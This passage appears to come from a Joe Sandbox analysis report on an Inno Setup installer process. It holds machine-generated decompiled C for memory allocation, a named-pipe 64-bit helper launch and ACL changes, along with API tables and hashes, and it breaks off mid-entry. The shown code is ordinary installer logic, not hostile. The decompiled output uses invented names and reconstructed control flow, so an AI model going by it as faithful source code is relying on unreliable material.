                                                          					_t4 = _t35 + 0xa; // 0xa
                                                          					_t26 = _t4;
                                                          					do {
                                                          						 *_t26 = 0xe8;
                                                          						_t5 = _t35 + 4; // 0x4
                                                          						 *((intOrPtr*)(_t26 + 1)) = E0041F5D4(_t26, _t5);
                                                          						 *((intOrPtr*)(_t26 + 5)) =  *0x48d650;
                                                          						 *0x48d650 = _t26;
                                                          						_t26 = _t26 + 0xd;
                                                          					} while (_t26 - _t35 < 0xffc);
                                                          					 *0x48d64c = _t35;
                                                          				}
                                                          				_t25 =  *0x48d650;
                                                          				_t8 = _t25 + 5; // 0xe4004107
                                                          				 *0x48d650 =  *_t8;
                                                          				 *((intOrPtr*)(_t25 + 5)) = _a4;
                                                          				 *((intOrPtr*)(_t25 + 9)) = _a8;
                                                          				return  *0x48d650;
                                                          			}








                                                          0x0041f5ea
                                                          0x0041f5fa
                                                          0x0041f5ff
                                                          0x0041f601
                                                          0x0041f606
                                                          0x0041f608
                                                          0x0041f615
                                                          0x0041f61f
                                                          0x0041f627
                                                          0x0041f62a
                                                          0x0041f62a
                                                          0x0041f62d
                                                          0x0041f62d
                                                          0x0041f630
                                                          0x0041f63a
                                                          0x0041f63f
                                                          0x0041f642
                                                          0x0041f644
                                                          0x0041f64b
                                                          0x0041f652
                                                          0x0041f652
                                                          0x0041f65a
                                                          0x0041f65c
                                                          0x0041f65f
                                                          0x0041f664
                                                          0x0041f66a
                                                          0x0041f671

                                                          APIs
                                                          • VirtualAlloc.KERNEL32(00000000,00001000,00001000,00000040,?,00000000,0041EFBC,?,00423AA7,00423E24,0041EFBC), ref: 0041F5FA
                                                          Memory Dump Source
                                                          • Source File: 00000001.00000002.382341133.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                          • Associated: 00000001.00000002.382334904.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382455486.000000000048C000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382467158.00000000004AE000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382477868.00000000004BC000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_1_2_400000_is-71GCF.jbxd
                                                          Similarity
                                                          • API ID: AllocVirtual
                                                          • String ID:
                                                          • API String ID: 4275171209-0
                                                          • Opcode ID: 3bf2275e5bdd391133c41da861ed914d8cd920a5637d055bac152f1a02e97f48
                                                          • Instruction ID: ffb70f15c23c369ebd22147956d7b3f3298316e5b4c5cb1a89c484f733871ec0
                                                          • Opcode Fuzzy Hash: 3bf2275e5bdd391133c41da861ed914d8cd920a5637d055bac152f1a02e97f48
                                                          • Instruction Fuzzy Hash: 11115E746413099BCB10DF19C880B86FBE5EF98350F10C53AE9589B395D374E849CBA8
                                                          Uniqueness

                                                          Uniqueness Score: -1.00%

                                                          C-Code - Quality: 93%
                                                          			E00401714(void* __eax, void** __ecx, void* __edx) {
                                                          				int _t7;
                                                          				void* _t9;
                                                          				signed int _t14;
                                                          				intOrPtr* _t19;
                                                          				signed int _t22;
                                                          				void** _t23;
                                                          
                                                          				_push(__ecx);
                                                          				 *_t23 = __eax + 0x00000fff & 0xfffff000;
                                                          				_t22 = __eax + __edx & 0xfffff000;
                                                          				 *__ecx =  *_t23;
                                                          				_t7 = _t22 -  *_t23;
                                                          				__ecx[1] = _t7;
                                                          				_t19 =  *0x48d440; // 0x71ff84
                                                          				while(_t19 != 0x48d440) {
                                                          					_t9 =  *(_t19 + 8);
                                                          					_t14 =  *((intOrPtr*)(_t19 + 0xc)) + _t9;
                                                          					if(_t9 <  *_t23) {
                                                          						_t9 =  *_t23;
                                                          					}
                                                          					if(_t22 < _t14) {
                                                          						_t14 = _t22;
                                                          					}
                                                          					if(_t14 > _t9) {
                                                          						_t7 = VirtualFree(_t9, _t14 - _t9, 0x4000); // executed
                                                          						if(_t7 == 0) {
                                                          							 *0x48d41c = 2;
                                                          						}
                                                          					}
                                                          					_t19 =  *_t19;
                                                          				}
                                                          				return _t7;
                                                          			}









                                                          0x00401718
                                                          0x00401729
                                                          0x00401730
                                                          0x00401739
                                                          0x0040173d
                                                          0x00401740
                                                          0x00401743
                                                          0x00401783
                                                          0x0040174b
                                                          0x00401751
                                                          0x00401756
                                                          0x00401758
                                                          0x00401758
                                                          0x0040175d
                                                          0x0040175f
                                                          0x0040175f
                                                          0x00401763
                                                          0x0040176e
                                                          0x00401775
                                                          0x00401777
                                                          0x00401777
                                                          0x00401775
                                                          0x00401781
                                                          0x00401781
                                                          0x00401790

                                                          APIs
                                                          • VirtualFree.KERNEL32(?,?,00004000,?,?,?,00000000,00004003,0040197B), ref: 0040176E
                                                          Memory Dump Source
                                                          • Source File: 00000001.00000002.382341133.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                          • Associated: 00000001.00000002.382334904.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382455486.000000000048C000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382467158.00000000004AE000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382477868.00000000004BC000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_1_2_400000_is-71GCF.jbxd
                                                          Similarity
                                                          • API ID: FreeVirtual
                                                          • String ID:
                                                          • API String ID: 1263568516-0
                                                          • Opcode ID: b87ec69a82047565488b436492ac0a5e2e4a3ca1825bad6867eb9f30230477ea
                                                          • Instruction ID: 513dc5185c5ea873f64aca2166fc8996875178c568a1f6713369453d53051677
                                                          • Opcode Fuzzy Hash: b87ec69a82047565488b436492ac0a5e2e4a3ca1825bad6867eb9f30230477ea
                                                          • Instruction Fuzzy Hash: 9401F776A452144FC310AE28DCC0E2A77A5DB84724F15453DEE84A7391D33A6C0687A8
                                                          Uniqueness

                                                          Uniqueness Score: -1.00%

                                                          C-Code - Quality: 100%
                                                          			E0045A3D4(void* __eax) {
                                                          				void* _t8;
                                                          				void* _t11;
                                                          
                                                          				_t11 = __eax;
                                                          				 *((intOrPtr*)(__eax + 0x18)) = 0;
                                                          				 *((intOrPtr*)(__eax + 0x20)) = 0;
                                                          				_t8 =  *(__eax + 0x1c);
                                                          				if(_t8 != 0) {
                                                          					VirtualFree(_t8, 0, 0x8000); // executed
                                                          					 *((intOrPtr*)(_t11 + 0x1c)) = 0;
                                                          					return 0;
                                                          				}
                                                          				return _t8;
                                                          			}





                                                          0x0045a3d5
                                                          0x0045a3d9
                                                          0x0045a3de
                                                          0x0045a3e1
                                                          0x0045a3e6
                                                          0x0045a3f0
                                                          0x0045a3f7
                                                          0x00000000
                                                          0x0045a3f7
                                                          0x0045a3fb

                                                          APIs
                                                          • VirtualFree.KERNEL32(?,00000000,00008000,?,0045A511), ref: 0045A3F0
                                                          Memory Dump Source
                                                          • Source File: 00000001.00000002.382341133.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                          • Associated: 00000001.00000002.382334904.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382455486.000000000048C000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382467158.00000000004AE000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382477868.00000000004BC000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_1_2_400000_is-71GCF.jbxd
                                                          Similarity
                                                          • API ID: FreeVirtual
                                                          • String ID:
                                                          • API String ID: 1263568516-0
                                                          • Opcode ID: cce0741eba915283d1af970791fc6fd4a3b2d6a50b941ca6d54fc4863a311bf2
                                                          • Instruction ID: 4bb1b19524ee497d936d9a203229da281160d662b3a3f515f5c05646672da0e1
                                                          • Opcode Fuzzy Hash: cce0741eba915283d1af970791fc6fd4a3b2d6a50b941ca6d54fc4863a311bf2
                                                          • Instruction Fuzzy Hash: 36D09EB17103005FDB94CF794CC170726D4BB08601B114576AD08DB286E678D4108B54
                                                          Uniqueness

                                                          Uniqueness Score: -1.00%

                                                          C-Code - Quality: 100%
                                                          			E00406FE4(void* __eax) {
                                                          				int _t2;
                                                          
                                                          				_t2 = CloseHandle(__eax); // executed
                                                          				return _t2;
                                                          			}




                                                          0x00406fe5
                                                          0x00406fea

                                                          APIs
                                                          Memory Dump Source
                                                          • Source File: 00000001.00000002.382341133.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                          • Associated: 00000001.00000002.382334904.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382455486.000000000048C000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382467158.00000000004AE000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382477868.00000000004BC000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_1_2_400000_is-71GCF.jbxd
                                                          Similarity
                                                          • API ID: CloseHandle
                                                          • String ID:
                                                          • API String ID: 2962429428-0
                                                          • Opcode ID: f7f0ecdfafae218c53e6801bed19de1c9dc055d98d965b2acd2c5b639cdd6ac7
                                                          • Instruction ID: f91bbd6786645de71ad529a75f1249e0221a6909fe05d9e6353a8ece16ee0238
                                                          • Opcode Fuzzy Hash: f7f0ecdfafae218c53e6801bed19de1c9dc055d98d965b2acd2c5b639cdd6ac7
                                                          • Instruction Fuzzy Hash:
                                                          Uniqueness

                                                          Uniqueness Score: -1.00%

                                                          C-Code - Quality: 66%
                                                          			E00455B2C(void* __ebx, void* __edi, void* __esi, void* __eflags) {
                                                          				char _v12;
                                                          				char _v16;
                                                          				void* _v20;
                                                          				void* _v24;
                                                          				long _v28;
                                                          				char _v96;
                                                          				char _v104;
                                                          				void* _v108;
                                                          				char _v112;
                                                          				char _v116;
                                                          				long _v120;
                                                          				char _v124;
                                                          				long _v128;
                                                          				char _v132;
                                                          				intOrPtr _v136;
                                                          				char _v140;
                                                          				intOrPtr _v144;
                                                          				char _v148;
                                                          				char _v152;
                                                          				char _v156;
                                                          				char _v160;
                                                          				char _v164;
                                                          				void* _v168;
                                                          				char _v172;
                                                          				char _v176;
                                                          				char _v180;
                                                          				char _v184;
                                                          				void* _t69;
                                                          				intOrPtr _t88;
                                                          				int _t89;
                                                          				long _t107;
                                                          				intOrPtr _t126;
                                                          				struct _FILETIME* _t128;
                                                          				void* _t132;
                                                          				void* _t133;
                                                          				intOrPtr _t134;
                                                          
                                                          				_t132 = _t133;
                                                          				_t134 = _t133 + 0xffffff4c;
                                                          				_v156 = 0;
                                                          				_v160 = 0;
                                                          				_v16 = 0;
                                                          				_t128 =  &_v12;
                                                          				_push(_t132);
                                                          				_push(0x455e2b);
                                                          				_push( *[fs:eax]);
                                                          				 *[fs:eax] = _t134;
                                                          				E00455814("Starting 64-bit helper process.", 0x48df1c, _t128, 0x48df18);
                                                          				_t136 =  *0x4ae250;
                                                          				if( *0x4ae250 == 0) {
                                                          					E00451AFC("Cannot utilize 64-bit features on this version of Windows", 0x48df1c, _t128, 0x48df18, _t136);
                                                          				}
                                                          				_t137 =  *0x48df08;
                                                          				if( *0x48df08 == 0) {
                                                          					E00451AFC("64-bit helper EXE wasn\'t extracted", 0x48df1c, _t128, 0x48df18, _t137);
                                                          				}
                                                          				while(1) {
                                                          					 *0x48df1c =  *0x48df1c + 1;
                                                          					 *0x48df18 = GetTickCount();
                                                          					if(QueryPerformanceCounter(_t128) == 0) {
                                                          						GetSystemTimeAsFileTime(_t128);
                                                          					}
                                                          					_v152 = GetCurrentProcessId();
                                                          					_v148 = 0;
                                                          					_v144 =  *0x48df1c;
                                                          					_v140 = 0;
                                                          					_v136 =  *0x48df18;
                                                          					_v132 = 0;
                                                          					_v128 = _t128->dwHighDateTime;
                                                          					_v124 = 0;
                                                          					_v120 = _t128->dwLowDateTime;
                                                          					_v116 = 0;
                                                          					E00407B08("\\\\.\\pipe\\InnoSetup64BitHelper-%.8x-%.8x-%.8x-%.8x%.8x", 4,  &_v152,  &_v16);
                                                          					_v20 = CreateNamedPipeA(E00403880(_v16), 0x80003, 6, 1, 0x2000, 0x2000, 0, 0);
                                                          					if(_v20 != 0xffffffff) {
                                                          						break;
                                                          					}
                                                          					_t107 = GetLastError();
                                                          					_t140 = _t107 - 0xe7;
                                                          					if(_t107 != 0xe7) {
                                                          						E00451B58("CreateNamedPipe", 0x48df1c, 4, _t128, 0x48df18, _t140);
                                                          					}
                                                          				}
                                                          				_push(_t132);
                                                          				_push(0x455de7);
                                                          				_push( *[fs:eax]);
                                                          				 *[fs:eax] = _t134;
                                                          				_push(0);
                                                          				_push(0);
                                                          				_push(3);
                                                          				_push( &E0048CA54);
                                                          				_push(0);
                                                          				_push(0xc0000000);
                                                          				_t69 = E00403880(_v16);
                                                          				_push(_t69);
                                                          				L00405964();
                                                          				_v24 = _t69;
                                                          				__eflags = _v24 - 0xffffffff;
                                                          				if(__eflags == 0) {
                                                          					E00451B58("CreateFile", 0x48df1c, 4, _t128, 0x48df18, __eflags);
                                                          				}
                                                          				_push(_t132);
                                                          				_push(0x455dd6);
                                                          				_push( *[fs:eax]);
                                                          				 *[fs:eax] = _t134;
                                                          				_v28 = 2;
                                                          				__eflags = SetNamedPipeHandleState(_v24,  &_v28, 0, 0);
                                                          				if(__eflags == 0) {
                                                          					E00451B58("SetNamedPipeHandleState", 0x48df1c, 4, _t128, 0x48df18, __eflags);
                                                          				}
                                                          				E00402A64( &_v96, 0x44);
                                                          				_v96 = 0x44;
                                                          				_push( &_v112);
                                                          				_push( &_v96);
                                                          				E0042D8E0( &_v156);
                                                          				_push(E00403880(_v156));
                                                          				_push(0);
                                                          				_push(0xc000000);
                                                          				_push(1);
                                                          				_push(0);
                                                          				_push(0);
                                                          				_v176 = 0x67;
                                                          				_v172 = 0;
                                                          				_v168 = _v24;
                                                          				_v164 = 0;
                                                          				E00407B08("helper %d 0x%x", 1,  &_v176,  &_v160);
                                                          				_push(E00403880(_v160));
                                                          				_t88 =  *0x48df08; // 0x21edcb0
                                                          				_t89 = E00403880(_t88);
                                                          				_push(_t89);
                                                          				L0040597C();
                                                          				__eflags = _t89;
                                                          				if(__eflags == 0) {
                                                          					E00451B58("CreateProcess", 0x48df1c, 1, _t128, 0x48df18, __eflags);
                                                          				}
                                                          				 *0x48df0c = 1;
                                                          				 *0x48df0d = 0;
                                                          				 *0x48df10 = _v112;
                                                          				 *0x48df14 = _v20;
                                                          				_v20 = 0;
                                                          				CloseHandle(_v108);
                                                          				_v184 = _v104;
                                                          				_v180 = 0;
                                                          				E00455A04("Helper process PID: %u", 0x48df1c, 0,  &_v184, _t128, 0x48df18);
                                                          				__eflags = 0;
                                                          				_pop(_t126);
                                                          				 *[fs:eax] = _t126;
                                                          				_push(E00455DDD);
                                                          				return CloseHandle(_v24);
                                                          			}







































                                                          0x00455b2d
                                                          0x00455b2f
                                                          0x00455b3a
                                                          0x00455b40
                                                          0x00455b46
                                                          0x00455b53
                                                          0x00455b58
                                                          0x00455b59
                                                          0x00455b5e
                                                          0x00455b61
                                                          0x00455b69
                                                          0x00455b6e
                                                          0x00455b75
                                                          0x00455b7c
                                                          0x00455b7c
                                                          0x00455b81
                                                          0x00455b88
                                                          0x00455b8f
                                                          0x00455b8f
                                                          0x00455b94
                                                          0x00455b94
                                                          0x00455b9b
                                                          0x00455ba5
                                                          0x00455ba8
                                                          0x00455ba8
                                                          0x00455bb6
                                                          0x00455bbc
                                                          0x00455bc5
                                                          0x00455bcb
                                                          0x00455bd4
                                                          0x00455bda
                                                          0x00455be1
                                                          0x00455be4
                                                          0x00455bea
                                                          0x00455bed
                                                          0x00455c01
                                                          0x00455c2b
                                                          0x00455c32
                                                          0x00000000
                                                          0x00000000
                                                          0x00455c34
                                                          0x00455c39
                                                          0x00455c3e
                                                          0x00455c49
                                                          0x00455c49
                                                          0x00455c3e
                                                          0x00455c55
                                                          0x00455c56
                                                          0x00455c5b
                                                          0x00455c5e
                                                          0x00455c61
                                                          0x00455c63
                                                          0x00455c65
                                                          0x00455c67
                                                          0x00455c6c
                                                          0x00455c6e
                                                          0x00455c76
                                                          0x00455c7b
                                                          0x00455c7c
                                                          0x00455c81
                                                          0x00455c84
                                                          0x00455c88
                                                          0x00455c8f
                                                          0x00455c8f
                                                          0x00455c96
                                                          0x00455c97
                                                          0x00455c9c
                                                          0x00455c9f
                                                          0x00455ca2
                                                          0x00455cba
                                                          0x00455cbc
                                                          0x00455cc3
                                                          0x00455cc3
                                                          0x00455cd2
                                                          0x00455cd7
                                                          0x00455ce1
                                                          0x00455ce5
                                                          0x00455cec
                                                          0x00455cfc
                                                          0x00455cfd
                                                          0x00455cff
                                                          0x00455d04
                                                          0x00455d06
                                                          0x00455d08
                                                          0x00455d11
                                                          0x00455d1b
                                                          0x00455d25
                                                          0x00455d2b
                                                          0x00455d42
                                                          0x00455d52
                                                          0x00455d53
                                                          0x00455d58
                                                          0x00455d5d
                                                          0x00455d5e
                                                          0x00455d63
                                                          0x00455d65
                                                          0x00455d6c
                                                          0x00455d6c
                                                          0x00455d71
                                                          0x00455d78
                                                          0x00455d82
                                                          0x00455d8a
                                                          0x00455d91
                                                          0x00455d98
                                                          0x00455da0
                                                          0x00455da6
                                                          0x00455dba
                                                          0x00455dbf
                                                          0x00455dc1
                                                          0x00455dc4
                                                          0x00455dc7
                                                          0x00455dd5

                                                          APIs
                                                            • Part of subcall function 00455814: GetLocalTime.KERNEL32(?,00000000,0045599B,?,?,0048DF10,00000000), ref: 00455844
                                                          • GetTickCount.KERNEL32 ref: 00455B96
                                                          • QueryPerformanceCounter.KERNEL32(00000000,00000000,00455E2B,?,?,00000000,00000000,?,004563BE,?,00000000,00000000), ref: 00455B9E
                                                          • GetSystemTimeAsFileTime.KERNEL32(00000000,00000000), ref: 00455BA8
                                                          • GetCurrentProcessId.KERNEL32(?,00000000,00000000,00455E2B,?,?,00000000,00000000,?,004563BE,?,00000000,00000000), ref: 00455BB1
                                                          • CreateNamedPipeA.KERNEL32(00000000,00080003,00000006,00000001,00002000,00002000,00000000,00000000), ref: 00455C26
                                                          • GetLastError.KERNEL32(00000000,00080003,00000006,00000001,00002000,00002000,00000000,00000000,?,00000000,00000000), ref: 00455C34
                                                          • 6CAA5CA0.KERNEL32(00000000,C0000000,00000000,0048CA54,00000003,00000000,00000000,00000000,00455DE7), ref: 00455C7C
                                                          • SetNamedPipeHandleState.KERNEL32(000000FF,00000002,00000000,00000000,00000000,00455DD6,?,00000000,C0000000,00000000,0048CA54,00000003,00000000,00000000,00000000,00455DE7), ref: 00455CB5
                                                            • Part of subcall function 0042D8E0: GetSystemDirectoryA.KERNEL32 ref: 0042D8F3
                                                          • 6CF17180.KERNEL32(00000000,00000000,?,00000000,00000000,00000001,0C000000,00000000,00000000,00000044,?,000000FF,00000002,00000000,00000000,00000000), ref: 00455D5E
                                                          • CloseHandle.KERNEL32(?,00000000,00000000,?,00000000,00000000,00000001,0C000000,00000000,00000000,00000044,?,000000FF,00000002,00000000,00000000), ref: 00455D98
                                                          • CloseHandle.KERNEL32(000000FF,00455DDD,?,00000000,00000000,00000001,0C000000,00000000,00000000,00000044,?,000000FF,00000002,00000000,00000000,00000000), ref: 00455DD0
                                                            • Part of subcall function 00451B58: GetLastError.KERNEL32(00000000,00451BF0,?,?,00000000,00000000,00000005,00000000,00452636,?,?,00000000,0048D628,00000004,00000000,00000000), ref: 00451B7C
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000001.00000002.382341133.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                          • Associated: 00000001.00000002.382334904.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382455486.000000000048C000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382467158.00000000004AE000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382477868.00000000004BC000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_1_2_400000_is-71GCF.jbxd
                                                          Similarity
                                                          • API ID: HandleTime$CloseErrorLastNamedPipeSystem$CountCounterCreateCurrentDirectoryF17180FileLocalPerformanceProcessQueryStateTick
                                                          • String ID: 64-bit helper EXE wasn't extracted$Cannot utilize 64-bit features on this version of Windows$CreateFile$CreateNamedPipe$CreateProcess$D$Helper process PID: %u$SetNamedPipeHandleState$Starting 64-bit helper process.$\\.\pipe\InnoSetup64BitHelper-%.8x-%.8x-%.8x-%.8x%.8x$g$helper %d 0x%x
                                                          • API String ID: 4150278810-1343189204
                                                          • Opcode ID: 25b09b112f54d628eca5e6c6bf70c9bcbadf6f339a0a21d620269fce3c692ddd
                                                          • Instruction ID: d532dc7a44babe65951fa346a39619af0727fa951ad95cf64c9e66408bb6ffd6
                                                          • Opcode Fuzzy Hash: 25b09b112f54d628eca5e6c6bf70c9bcbadf6f339a0a21d620269fce3c692ddd
                                                          • Instruction Fuzzy Hash: E4716370E007449EDB11EB65CC56B9E77B8EB09304F1045AAFA04FB2C2D7786948CF69
                                                          Uniqueness

                                                          Uniqueness Score: -1.00%

                                                          C-Code - Quality: 30%
                                                          			E004593E4(intOrPtr __eax, struct _SID_IDENTIFIER_AUTHORITY* __ecx, intOrPtr __edx, intOrPtr _a4, signed int _a8) {
                                                          				intOrPtr _v8;
                                                          				intOrPtr _v12;
                                                          				char _v13;
                                                          				struct HINSTANCE__* _v20;
                                                          				struct HINSTANCE__* _v24;
                                                          				char _v28;
                                                          				char _v32;
                                                          				void* _v36;
                                                          				signed int _v40;
                                                          				void* _v44;
                                                          				void* __edi;
                                                          				struct HINSTANCE__* _t61;
                                                          				void* _t68;
                                                          				void* _t76;
                                                          				void* _t82;
                                                          				signed int _t95;
                                                          				struct HINSTANCE__* _t99;
                                                          				signed int _t100;
                                                          				intOrPtr _t111;
                                                          				struct HINSTANCE__* _t120;
                                                          				void* _t122;
                                                          				void* _t123;
                                                          				struct _SID_IDENTIFIER_AUTHORITY* _t125;
                                                          				void* _t128;
                                                          				void* _t130;
                                                          				intOrPtr _t131;
                                                          
                                                          				_t128 = _t130;
                                                          				_t131 = _t130 + 0xffffffd8;
                                                          				_t125 = __ecx;
                                                          				_v12 = __edx;
                                                          				_v8 = __eax;
                                                          				_v13 = 0;
                                                          				if( *0x48c0e0 != 2 || (GetVersion() & 0x000000ff) < 5) {
                                                          					L16:
                                                          					return _v13;
                                                          				} else {
                                                          					_t61 = GetModuleHandleA("advapi32.dll");
                                                          					_t120 = _t61;
                                                          					_push("GetNamedSecurityInfoA");
                                                          					_push(_t120);
                                                          					L00405AA4();
                                                          					_t99 = _t61;
                                                          					_push("SetNamedSecurityInfoA");
                                                          					_push(_t120);
                                                          					L00405AA4();
                                                          					_v20 = _t61;
                                                          					_push("SetEntriesInAclW");
                                                          					_push(_t120);
                                                          					L00405AA4();
                                                          					_v24 = _t61;
                                                          					if(_t99 == 0 || _v20 == 0 || _v24 == 0) {
                                                          						goto L16;
                                                          					} else {
                                                          						_v40 = 0;
                                                          						_t68 = _t99->i(E00403880(_v12), _v8, 4, 0, 0,  &_v32, 0,  &_v28);
                                                          						_t138 = _t68;
                                                          						if(_t68 != 0) {
                                                          							goto L16;
                                                          						} else {
                                                          							_push(_t128);
                                                          							_push(0x4595fe);
                                                          							_push( *[fs:edx]);
                                                          							 *[fs:edx] = _t131;
                                                          							_v40 = E00406A40(_a8 << 5, 0, _t120, _t138);
                                                          							_t122 = _a8 - 1;
                                                          							if(_t122 < 0) {
                                                          								L11:
                                                          								_t76 = _v24(_a8, _v40, _v32,  &_v36);
                                                          								__eflags = _t76;
                                                          								if(_t76 == 0) {
                                                          									 *[fs:eax] = _t131;
                                                          									_t82 = _v20(E00403880(_v12), _v8, 4, 0, 0, _v36, 0,  *[fs:eax], 0x4595a5, _t128);
                                                          									__eflags = _t82;
                                                          									if(_t82 == 0) {
                                                          										__eflags = 0;
                                                          										_pop(_t111);
                                                          										 *[fs:eax] = _t111;
                                                          										_push(0x4595ac);
                                                          										return LocalFree(_v36);
                                                          									} else {
                                                          										E00403304();
                                                          										E00403304();
                                                          										goto L16;
                                                          									}
                                                          								} else {
                                                          									E00403304();
                                                          									goto L16;
                                                          								}
                                                          							} else {
                                                          								_t123 = _t122 + 1;
                                                          								_t100 = 0;
                                                          								while(AllocateAndInitializeSid(_t125,  *(_t125 + 6),  *(_t125 + 8),  *(_t125 + 0xc), 0, 0, 0, 0, 0, 0,  &_v44) != 0) {
                                                          									_t95 = _t100 << 2;
                                                          									 *((intOrPtr*)(_v40 + _t95 * 8)) =  *((intOrPtr*)(_t125 + 0x10));
                                                          									 *((intOrPtr*)(_v40 + 4 + _t95 * 8)) = 1;
                                                          									 *((intOrPtr*)(_v40 + 8 + _t95 * 8)) = _a4;
                                                          									 *((intOrPtr*)(_v40 + 0x14 + _t95 * 8)) = 0;
                                                          									 *((intOrPtr*)(_v40 + 0x18 + _t95 * 8)) = 0;
                                                          									 *((intOrPtr*)(_v40 + 0x1c + _t95 * 8)) = _v44;
                                                          									_t125 = _t125 + 0x14;
                                                          									_t100 = _t100 + 1;
                                                          									_t123 = _t123 - 1;
                                                          									__eflags = _t123;
                                                          									if(_t123 != 0) {
                                                          										continue;
                                                          									} else {
                                                          										goto L11;
                                                          									}
                                                          									goto L17;
                                                          								}
                                                          								E00403304();
                                                          								goto L16;
                                                          							}
                                                          						}
                                                          					}
                                                          				}
                                                          				L17:
                                                          			}





























                                                          0x004593e5
                                                          0x004593e7
                                                          0x004593ed
                                                          0x004593ef
                                                          0x004593f2
                                                          0x004593f5
                                                          0x00459400
                                                          0x00459609
                                                          0x00459612
                                                          0x00459419
                                                          0x0045941e
                                                          0x00459423
                                                          0x00459425
                                                          0x0045942a
                                                          0x0045942b
                                                          0x00459430
                                                          0x00459432
                                                          0x00459437
                                                          0x00459438
                                                          0x0045943d
                                                          0x00459440
                                                          0x00459445
                                                          0x00459446
                                                          0x0045944b
                                                          0x00459450
                                                          0x00000000
                                                          0x0045946a
                                                          0x0045946c
                                                          0x0045948c
                                                          0x0045948e
                                                          0x00459490
                                                          0x00000000
                                                          0x00459496
                                                          0x00459498
                                                          0x00459499
                                                          0x0045949e
                                                          0x004594a1
                                                          0x004594af
                                                          0x004594b5
                                                          0x004594b8
                                                          0x00459533
                                                          0x00459543
                                                          0x00459546
                                                          0x00459548
                                                          0x0045955f
                                                          0x0045957b
                                                          0x0045957e
                                                          0x00459580
                                                          0x0045958e
                                                          0x00459590
                                                          0x00459593
                                                          0x00459596
                                                          0x004595a4
                                                          0x00459582
                                                          0x00459582
                                                          0x00459587
                                                          0x00000000
                                                          0x00459587
                                                          0x0045954a
                                                          0x0045954a
                                                          0x00000000
                                                          0x0045954a
                                                          0x004594ba
                                                          0x004594ba
                                                          0x004594bb
                                                          0x004594bd
                                                          0x004594ef
                                                          0x004594f8
                                                          0x004594fe
                                                          0x0045950c
                                                          0x00459515
                                                          0x0045951e
                                                          0x00459528
                                                          0x0045952c
                                                          0x0045952f
                                                          0x00459530
                                                          0x00459530
                                                          0x00459531
                                                          0x00000000
                                                          0x00000000
                                                          0x00000000
                                                          0x00000000
                                                          0x00000000
                                                          0x00459531
                                                          0x004594e3
                                                          0x00000000
                                                          0x004594e3
                                                          0x004594b8
                                                          0x00459490
                                                          0x00459450
                                                          0x00000000

                                                          APIs
                                                          • GetVersion.KERNEL32 ref: 00459406
                                                          • GetModuleHandleA.KERNEL32(advapi32.dll), ref: 0045941E
                                                          • 6CAA5550.KERNEL32(00000000,GetNamedSecurityInfoA,advapi32.dll), ref: 0045942B
                                                          • 6CAA5550.KERNEL32(00000000,SetNamedSecurityInfoA,00000000,GetNamedSecurityInfoA,advapi32.dll), ref: 00459438
                                                          • 6CAA5550.KERNEL32(00000000,SetEntriesInAclW,00000000,SetNamedSecurityInfoA,00000000,GetNamedSecurityInfoA,advapi32.dll), ref: 00459446
                                                          • AllocateAndInitializeSid.ADVAPI32(?,?,?,?,00000000,00000000,00000000,00000000,00000000,00000000,?,00000000,004595FE), ref: 004594DA
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000001.00000002.382341133.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                          • Associated: 00000001.00000002.382334904.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382455486.000000000048C000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382467158.00000000004AE000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382477868.00000000004BC000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_1_2_400000_is-71GCF.jbxd
                                                          Similarity
                                                          • API ID: A5550$AllocateHandleInitializeModuleVersion
                                                          • String ID: GetNamedSecurityInfoA$SetEntriesInAclW$SetNamedSecurityInfoA$advapi32.dll
                                                          • API String ID: 2567376291-3478141794
                                                          • Opcode ID: ab415e3e0f897cf2df68723fca65fd79072db8db920f1f4b04ce7397b22c2cd0
